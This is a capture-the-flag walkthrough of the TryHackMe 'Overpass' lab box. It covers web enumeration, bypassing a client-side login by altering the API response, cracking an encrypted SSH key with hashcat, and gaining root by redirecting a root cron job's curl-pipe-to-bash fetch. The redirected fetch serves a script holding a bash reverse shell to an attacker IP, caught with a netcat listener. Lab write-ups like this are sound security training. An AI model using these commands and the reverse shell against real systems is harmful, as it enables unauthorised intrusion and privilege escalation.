TryHackMe — Overpass — Walkthrough

bigkahuna
6 min readJun 12, 2023

--

Overpass is a very simple and fun box available on TryHackMe. Rooting it involves some basic exploitation of a web application, hash cracking, and escalating your privileges by taking advantage of a CronJob running on the box.

User

Let’s start the process by performing a standard NMAP scan:

nmap -sV -sC -oN scan.txt overpass.thm -p-

Nothing too interesting here. We have a web server running on port 80, and SSH running on port 22.

Let’s have a look at what’s running on the web server.

It appears to be a site for password manager software.

Let’s enumerate the directories accessible on the site:

gobuster dir -u http://overpass.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o dirs.txt

We have two discoveries that are of interest to me:

  • /admin
  • /downloads

Let’s have a look at the downloads page.

The site provides precompiled binaries of the password manager, its source code, and build script available for download.

Let’s inspect the admin page.

As you probably guessed, it’s an admin login page.

There’s a JavaScript file called “login.js” which processes the credentials provided by the user. Let’s have a look:

async function postData(url = '', data = {}) {
// Default options are marked with *
const response = await fetch(url, {
method: 'POST', // *GET, POST, PUT, DELETE, etc.
cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
credentials: 'same-origin', // include, *same-origin, omit
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
redirect: 'follow', // manual, *follow, error
referrerPolicy: 'no-referrer', // no-referrer, *client
body: encodeFormData(data) // body data type must match "Content-Type" header
});
return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
return Object.keys(data)
.map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
.join('&');
}
function onLoad() {
document.querySelector("#loginForm").addEventListener("submit", function (event) {
//on pressing enter
event.preventDefault()
login()
});
}
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}

The script takes the credentials and sends them as a POST request to the /api/login endpoint. The response from the endpoint is stored in the statusOrCookievariable. If this variable is set to “Incorrect credentials”, the user will be asked to provide the credentials again.

const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}

There’s an obvious flaw here. We can intercept the response sent by the API before it gets processed by the browser and set it to any other value than “Incorrect credentials”, and our cookies will be set, and we will be successfully redirected to the admin page as an authenticated user.

Let’s take the following steps to exploit the vulnerability using Burp Suite:

  1. Intercept the POST request to the /api/login endpoint

2. Intercept the response to the request

3. Change the content of the intercepted response from “Incorrect credentials” to another value

On the admin page that we can now access, we have an encrypted SSH key for a user named James.

Let’s generate a crackable hash from it using ssh2john:

ssh2john rsa.key > rsa.hash

After modifying the hash, and removing the “rsa.key:” part from the beginning of it, we can crack it using Hashcat and mode 22931:

hashcat -m 22931 rsa.hash /usr/share/wordlists/rockyou.txt

Now, with the hash cracked, and the password we obtained by doing so, we can decrypt the SSH key using OpenSSL:

openssl rsa -in rsa.key -out james.key

Let’s modify the permissions of the key, so we can log into the SSH server using key-based authentication:

chmod 600 james.key

Now, let’s log into James’ account using it:

ssh -i james.key james@overpass.thm

Here we have our first flag.

Root

Let’s continue to privilege escalation, and run a basic enumeration script called linpeas.

In the CronJobs -section of the script’s output, we can see an interesting CronJob being executed by the root user:

curl overpass.thm/downloads/src/buildscript.sh | bash

The cURL-utility is being used to read the contents of a Shell script at “overpass.thm/downloads/src/buildscript.sh”. The output is then piped (|) over to the bashcommand, which executes the script.

There’s an obvious way to exploit this:

  1. Access the /etc/hosts file, which maps hostnames and their respective IP addresses
  2. Change the IP address that corresponds to the overpass.thm hostname to our local (attacker) machine’s IP address
  3. Set up an HTTP listener for serving a malicious Shell script that contains a reverse shell
  4. Set up a Netcat listener, and wait for the CronJob to be executed

Let’s start by modifying the file:

127.0.0.1 overpass.thm
<ATTACKER IP> overpass.thm

Next, let’s create our malicious script and also create a folder called “downloads” and a subfolder called “src”, where we will put the script.

This is our script:

#!/bin/bash

bash -i >& /dev/tcp/10.18.11.28/5555 0>&1

Now, let’s set up the Netcat listener:

nc -nvlp 5555

Let’s set up the HTTP server for serving the script to our compromised machine. For this, it’s better to use SimpleHTTPServer instead of http.server.

This is because SimpleHTTPServer can serve a file from a specific path, which is, in this case, crucial, since the CronJob reads the script specifically from “/downloads/src/buildscript.sh”.

python2 -m SimpleHTTPServer 80

Now, let’s just wait for the CronJob to run, and we will have our root flag.

That was fun!

--

--